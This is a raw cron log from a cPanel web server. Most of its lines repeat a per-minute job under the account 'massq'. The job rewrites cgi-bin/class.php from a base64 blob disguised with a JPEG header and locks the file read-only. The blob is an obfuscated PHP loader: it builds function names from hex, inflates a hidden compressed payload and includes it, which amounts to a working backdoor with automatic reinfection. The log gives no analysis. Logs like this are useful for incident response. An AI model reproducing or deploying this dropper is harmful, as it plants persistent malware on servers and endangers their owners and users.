Nov 12 11:52:01 server CROND[8760]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:53:01 server CROND[9644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:54:01 server CROND[10478]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:55:01 server CROND[11589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:55:01 server CROND[11590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:55:01 server CROND[11591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:56:01 server CROND[12453]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:57:01 server CROND[13216]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 11:57:01 server CROND[13218]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:58:01 server CROND[14041]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:59:01 server CROND[14850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:00:01 server CROND[15755]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Nov 12 12:00:01 server CROND[15758]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:00:01 server CROND[15759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:00:01 server CROND[15760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 12:00:01 server CROND[15761]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 12:00:01 server CROND[15757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:01:01 server CROND[16676]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 12:01:01 server CROND[16677]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:01:01 server run-parts(/etc/cron.hourly)[16676]: starting 0anacron
Nov 12 12:01:01 server run-parts(/etc/cron.hourly)[16689]: finished 0anacron
Nov 12 12:02:01 server CROND[17503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:03:01 server CROND[18331]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:04:01 server CROND[19153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:05:01 server CROND[19779]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:05:01 server CROND[19781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
